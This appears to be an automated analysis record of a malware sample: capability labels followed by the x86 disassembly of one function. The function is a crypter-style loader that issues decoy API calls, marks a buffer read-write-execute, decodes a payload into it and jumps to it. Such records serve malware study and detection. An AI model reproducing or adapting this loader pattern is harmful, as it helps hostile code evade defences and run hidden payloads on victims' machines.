Function at 0x401375
Capabilities:
Allocate or change rwx memory
Create directory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Query environment variable
Terminate thread

Disassembly:
mov eax, 0x410068
call fcn.0041003c
mov eax, 0x3174
call fcn.00408650
mov ecx, dword [0xb06e8c]
push esi
push edi
xor edi, edi
cmp ecx, 0x93
jne 0x4014c2
push 0x30
lea eax, [ebp - 0x68]
mov dword [ebp - 0x6c], edi
push edi
push eax
call fcn.0040be30
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push edi
push edi
push str.zazaperumefijayesubusi_tofipareceh
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push edi
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_DrawAnimatedRects]
xor eax, eax
lock bts dword [eax], 0
push edi
lea eax, [ebp - 0xd80]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push edi
lea eax, [ebp - 0x580]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 1
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], str.bad_allocation
push eax
lea ecx, [ebp - 0x28]
call fcn.004026c9
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], vtable.std::bad_alloc.0
call fcn.00402707
push edi
push edi
call fcn.004032f1
push edi
push edi
call fcn.0040376f
push edi
call fcn.00403733
movss xmm0, dword [0x4180d4]
add esp, 0x14
cvtps2pd xmm0, xmm0
push edi
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.00402f4d
push edi
fstp st(0)
call fcn.00403733
add esp, 0x10
mov dword [ebp - 0x20], edi
push edi
push edi
call fcn.00401e2b
mov edi, eax
mov dword [ebp - 0x24], edi
and dword [ebp - 4], 0
and dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
push dword [edi + 4]
push edi
call fcn.00401e89
mov dword [edi + 4], eax
mov ecx, dword [eax + 4]
or dword [ebp - 4], 0xffffffff
mov dword [ecx], eax
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x4014b3
mov esi, dword [eax]
push eax
call fcn.0040376a
mov eax, esi
pop ecx
cmp esi, edi
jne 0x4014a4
push edi
call fcn.0040376a
pop ecx
mov ecx, dword [0xb06e8c]
xor edi, edi
mov eax, dword [0x41efa8]
add ecx, 0x1134b
push ecx
push edi
mov dword [0xb06f90], eax
mov dword [0xb06e8c], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x34]
mov dword [0xb06de4], eax
push ecx
push 0x40
push dword [0xb06e8c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x29156e
push edi
lea eax, [ebp - 0x2980]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec esi
jne 0x4014fd
mov ecx, dword [0xb06e8c]
mov esi, edi
test ecx, ecx
je 0x401592
mov eax, dword [0xb06f90]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0xb06de4]
mov byte [eax + esi], cl
mov ecx, dword [0xb06e8c]
cmp ecx, 0x490
jne 0x40158d
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0x30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
lea eax, [ebp - 0x580]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
push edi
lea eax, [ebp - 0x980]
push eax
push str.juroguxuvera
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0xb06e8c]
inc esi
cmp esi, ecx
jb 0x40151a
mov esi, edi
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x40162c
push str.yavisuribicovewa
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push edi
lea eax, [ebp - 0x1c]
push eax
push edi
lea eax, [ebp - 0x980]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push edi
call dword [sym.imp.USER32.dll_CharLowerA]
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push edi
lea eax, [ebp - 0x2980]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
push edi
lea eax, [ebp - 0x1980]
push eax
push str.midihoxiwirerajitegixinelupeyug_fuyewozepepimuzajozokeki_kixolevuba
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push edi
lea eax, [ebp - 0x2180]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
push edi
lea eax, [ebp - 0x580]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 0x3180]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [0xb06e8c]
inc esi
cmp esi, 0x38681
jl 0x401594
mov edi, dword [0xb06de4]
mov esi, ecx
shr esi, 3
test esi, esi
je 0x40167a
cmp ecx, 0x959
jne 0x401665
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, edi
call fcn.00401237
add edi, 8
dec esi
je 0x40167a
mov ecx, dword [0xb06e8c]
jmp 0x401648
xor edi, edi
mov esi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x40169c
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0xb06de4], eax
inc esi
cmp esi, 0x674db
jl 0x40167e
push 0x7b
pop esi
cmp dword [0xb06e8c], 0x86
jne 0x4016f6
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push edi
lea eax, [ebp - 0x38]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [ebp - 0x1180]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
dec esi
jne 0x4016a8
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0xb06de4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret